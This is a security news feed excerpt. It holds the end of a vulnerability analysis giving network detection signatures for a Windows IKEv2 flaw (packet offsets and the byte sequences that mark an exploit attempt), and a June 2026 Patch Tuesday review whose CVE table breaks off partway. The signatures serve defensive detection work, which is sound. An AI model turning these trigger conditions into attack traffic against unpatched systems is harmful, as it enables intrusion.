  



  

<p><b data-preserve-html-node="true">Detection Guidance</b></p>
<p>To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on UDP ports 500 and 4500. The IKE general format, Payloads field, and the Encrypted Fragment (SKF) payload format can be seen above. </p>
<p>The detection device should monitor all incoming IKE traffic. Detection requires correlating two packets within the same IKE session: an IKE_SA_INIT request carrying the Microsoft Security Realm Vendor ID, followed by a fragmented IKE_AUTH request. Neither packet alone is malicious; both must be observed in sequence from the same source.</p>
<p><b data-preserve-html-node="true">IKE_SA_INIT</b></p>
<p>At byte offset 17 of the UDP payload, the device should check for the three-byte sequence <code>20 22 08</code>, which corresponds to the IKEv2 version identifier (0x20), the IKE_SA_INIT exchange type (0x22), and the Initiator flag (0x08). The device should then scan the remainder of the packet for the 16-byte sequence <code>68 6a 8c bd fe 63 4b 40 51 46 fb 2b af 33 e9 e8</code>, which is the Microsoft Security Realm Vendor ID. If both conditions are met, the device should follow the guidance below.</p>
<p><b data-preserve-html-node="true">IKE_AUTH</b></p>
<p>For subsequent packets from the same source, the device should check bytes at offset 16 through 23 of the UDP payload. At offset 16, the four-byte sequence <code>35 20 23 08</code> identifies an Encrypted Fragment payload (SKF, type 0x35), IKEv2 version (0x20), IKE_AUTH exchange type (0x23), and Initiator flag (0x08). If found, the detection device should inspect offset 20 and search for the four-byte sequence<code>00 00 00 01</code>. If found the traffic should be considered malicious; an attack exploiting this vulnerability is likely underway.</p>
<p>Notes<br>•	All multi-byte values should be treated as big endian.<br>•	When detecting traffic on port 4500, IKE packets are prepended by a 4-byte non-ESP marker (<code>\x00\x00\x00\x00</code>), shifting all IKE header content offsets by 4.</p>




  <p class=""><strong>Conclusion</strong></p><p class="">This vulnerability was <a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-33824">patched</a> by Microsoft in the April 2026 release cycle. They do note two mitigations that could prevent exploitation while the patch is being tested and deployed. </p><p class="">·      Block inbound traffic on UDP ports 500 and 4500 for systems that do not use IKE. </p><p class="">·      For systems that require IKE, configure firewall rules to allow inbound traffic on UDP ports 500 and 4500 only from known peer addresses.</p><p class="">These mitigations may be removed once the security patch is applied. The only way to fully remediate the vulnerability is to apply the update from the vendor.</p><p class="">Special thanks to Richard Chen and Lucas Miller of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services please visit <a href="https://go.trendmicro.com/tis/vulnerabilities.html">https://go.trendmicro.com/tis/vulnerabilities.html</a>.</p><p class="">The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The June 2026 Security Update Review]]></title>
<description><![CDATA[I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a ...]]></description>
<link>https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:53 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for June 2026</strong></p><p class="">For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/campaign/apsb26-66.html" target="_blank">APSB26-66</a></td>
    <td>Adobe Campaign Classic</td>
    <td>2</td>
    <td>Critical</td>
    <td>10.0</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-64.html" target="_blank">APSB26-64</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-63.html" target="_blank">APSB26-63</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>20</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-forms/apsb26-57.html" target="_blank">APSB26-57</a></td>
    <td>Adobe Experience Manager Forms</td>
    <td>3</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dreamweaver/apsb26-62.html" target="_blank">APSB26-62</a></td>
    <td>Adobe Dreamweaver</td>
    <td>5</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/formatplugins/apsb26-65.html" target="_blank">APSB26-65</a></td>
    <td>Adobe Format Plugins</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-59.html" target="_blank">APSB26-59</a></td>
    <td>Adobe InCopy</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-58.html" target="_blank">APSB26-58</a></td>
    <td>Adobe InDesign</td>
    <td>12</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-60.html" target="_blank">APSB26-60</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-61.html" target="_blank">APSB26-61</a></td>
    <td>Content Credentials SDK</td>
    <td>8</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-56.html" target="_blank">APSB26-56</a></td>
    <td>Adobe Experience Manager</td>
    <td>57</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>11 bulletins</td>
    <td>123</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.</p><p class=""><strong>Microsoft Patches for June 2026</strong></p><p class="">This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.</p><p class="">One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.</p><p class="">I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.</p><p class="">One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><strong>CVE-2026-41091</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><strong>CVE-2026-45657</strong></a><strong> - Windows Kernel Remote Code Execution Vulnerability<br></strong>This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><strong>CVE-2026-47291</strong></a><strong> - HTTP.sys Remote Code Execution Vulnerability<br></strong>Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><strong>CVE-2026-44815</strong></a><strong> - DHCP Client Service Remote Code Execution Vulnerability<br></strong>Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45585"><strong>CVE-2026-45585</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><strong>CVE-2026-50507</strong></a><strong> - Windows BitLocker Security Feature Bypass Vulnerability<br></strong>If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “<a href="https://www.theregister.com/security/2026/05/28/microsoft-0-day-feud-escalates-as-researcher-threatens-another-windows-exploit-dump/5248085">bone shattering</a>” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.</p><p class=""> Here’s the full list of CVEs released by Microsoft for June 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="new2026-Jun-cvrf2.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="1024">
 <col width="144">
 <col width="256">
 <col width="104" span="6">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">XI</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><span>CVE-2026-41091</span></a></td>
  <td width="256" class="xl68">Microsoft Defender
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl71">Yes</td>
  <td class="xl70">0</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49160"><span>CVE-2026-49160</span></a></td>
  <td width="256" class="xl68">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><span>CVE-2026-50507</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45586"><span>CVE-2026-45586</span></a></td>
  <td width="256" class="xl68">Windows Collaborative
  Translation Framework (CTFMON) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="91">
  <td class="xl67" height="91"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-10263"><span>CVE-2025-10263 *</span></a></td>
  <td width="256" class="xl68">ARM: CVE-2025-10263
  Completion of affected memory accesses might not be guaranteed by completion
  of a TLBI [kernel]</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48567"><span>CVE-2026-48567</span></a></td>
  <td width="256" class="xl68">Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">10</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32193"><span>CVE-2026-32193</span></a></td>
  <td width="256" class="xl68">Azure Kubernetes
  Service (AKS) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47644"><span>CVE-2026-47644</span></a></td>
  <td width="256" class="xl68">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><span>CVE-2026-44815</span></a></td>
  <td width="256" class="xl68">DHCP Client Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><span>CVE-2026-47291</span></a></td>
  <td width="256" class="xl68">HTTP.sys Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42824"><span>CVE-2026-42824</span></a></td>
  <td width="256" class="xl68">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45476"><span>CVE-2026-45476</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Network Adapter Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44810"><span>CVE-2026-44810</span></a></td>
  <td width="256" class="xl68">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48579"><span>CVE-2026-48579</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Online Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47655"><span>CVE-2026-47655</span></a></td>
  <td width="256" class="xl68">Microsoft Graph
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45497"><span>CVE-2026-45497</span></a></td>
  <td width="256" class="xl68">Microsoft M365 Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45460"><span>CVE-2026-45460</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">4.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45472"><span>CVE-2026-45472</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45474"><span>CVE-2026-45474</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45461"><span>CVE-2026-45461</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45463"><span>CVE-2026-45463</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45456"><span>CVE-2026-45456</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45458"><span>CVE-2026-45458</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47635"><span>CVE-2026-47635</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26142"><span>CVE-2026-26142</span></a></td>
  <td width="256" class="xl68">Nuance PowerScribe
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47289"><span>CVE-2026-47289</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47654"><span>CVE-2026-47654</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48563"><span>CVE-2026-48563</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42992"><span>CVE-2026-42992</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44799"><span>CVE-2026-44799</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44801"><span>CVE-2026-44801</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42985"><span>CVE-2026-42985</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45648"><span>CVE-2026-45648</span></a></td>
  <td width="256" class="xl68">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42987"><span>CVE-2026-42987</span></a></td>
  <td width="256" class="xl68">Windows Deployment
  Services (WDS) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33828"><span>CVE-2026-33828</span></a></td>
  <td width="256" class="xl68">Windows Device Health
  Attestation (DHA) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44803"><span>CVE-2026-44803</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44812"><span>CVE-2026-44812</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45607"><span>CVE-2026-45607</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
